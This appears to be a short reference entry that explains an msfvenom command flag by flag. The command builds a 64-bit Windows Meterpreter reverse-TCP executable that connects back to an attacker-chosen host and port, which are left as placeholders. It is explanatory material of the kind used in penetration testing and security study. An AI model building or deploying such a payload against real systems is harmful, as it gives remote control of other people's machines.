msfvenom:tldr:ec896

This command is using a tool called msfvenom which is a part of the Metasploit framework. It is used to generate payloads for exploiting vulnerabilities in target systems.

Let's break down the command:

• msfvenom: This is the command itself, which is used to generate the payload.

• -p windows/x64/meterpreter/reverse_tcp: This option specifies the payload type to be generated. In this case, it is generating a 64-bit Windows payload that utilizes the Meterpreter reverse TCP payload. Meterpreter is an advanced, feature-rich payload that provides control over compromised systems.

• LHOST=${local_ip}: This represents the local IP address or hostname where the payload will connect back to. The ${local_ip} is a placeholder that needs to be replaced with the actual IP address or hostname.

• LPORT=${local_port}: This specifies the local listening port on the attacker's machine. The ${local_port} is a placeholder that needs to be replaced with the desired port number.

• -f exe: This option specifies the output format of the payload. In this case, it is generating an executable file in .exe format.

• -o ${path-to-binary-exe}: This specifies the output file name and path for the generated payload. The ${path-to-binary-exe} is a placeholder that needs to be replaced with the desired file name and path.

By running this command with the appropriate values provided for the placeholders, you will generate an executable payload that, when executed on the target system, will establish a reverse TCP connection back to the attacker's machine, providing a Meterpreter session for remote control and exploitation.